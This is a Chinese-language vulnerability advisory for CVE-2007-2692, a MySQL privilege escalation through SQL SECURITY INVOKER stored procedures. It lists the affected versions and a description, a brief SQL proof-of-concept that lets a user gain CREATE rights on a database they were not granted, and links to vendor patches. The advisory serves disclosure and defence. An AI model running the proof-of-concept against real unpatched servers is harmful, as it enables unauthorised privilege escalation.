安全研究

安全漏洞
MySQL SQL SECURITY INVOKER存储过程权限提升漏洞

发布日期:2007-05-16
更新日期:2007-05-18

受影响系统:
MySQL AB MySQL 5.1.x < 5.1.18
MySQL AB MySQL 5.0.x < 5.0.40
不受影响系统:
MySQL AB MySQL 5.1.18
MySQL AB MySQL 5.0.40
描述:
BUGTRAQ  ID: 24011
CVE(CAN) ID: CVE-2007-2692

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL在处理SQL SECURITY INVOKER存储过程的返回状态时存在漏洞,本地攻击者可能利用此漏洞提升在数据库系统中的权限。

在从SQL SECURITY INVOKER存储过程返回时MySQL中的mysql_change_db函数没有恢复THD::db_access权限,这可能允许远程已认证用户获得权限提升。仅在用SQL SECURITY INVOKER定义了例程的情况下才会出现这个漏洞,如果使用SQL SECURITY DEFINER定义的话就可以在definer和invoker之间正确地切换安全环境。

<*来源:Alexander Nozdrin
  
  链接:http://bugs.mysql.com/bug.php?id=27337
        http://secunia.com/advisories/25301/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

--
-- 以root@mysql身份登录
--

CREATE DATABASE db1;
CREATE DATABASE db2;

GRANT ALL PRIVILEGES ON db1.* TO u1@localhost;

CREATE PROCEDURE db1.p1() SQL SECURITY INVOKER SELECT 1;

--
-- 以u1@db2身份登录
--

CREATE TABLE t1(c INT);
--> Error: CREATE command denied to user 'u1'@'localhost' for table 't1'

CALL db1.p1();

CREATE TABLE t1(c INT);
--> Success!!! (it is a security breach)

--
-- 以u1@db2身份登录
--

CREATE TABLE t1(c INT);
--> Error: CREATE command denied to user 'u1'@'localhost' for table 't1'

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://dev.mysql.com/get/Downloads/MySQL-5.0/mysql-5.0.41.tar.gz/from/pick
http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.18-beta.tar.gz/from/pick

浏览次数:3230
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障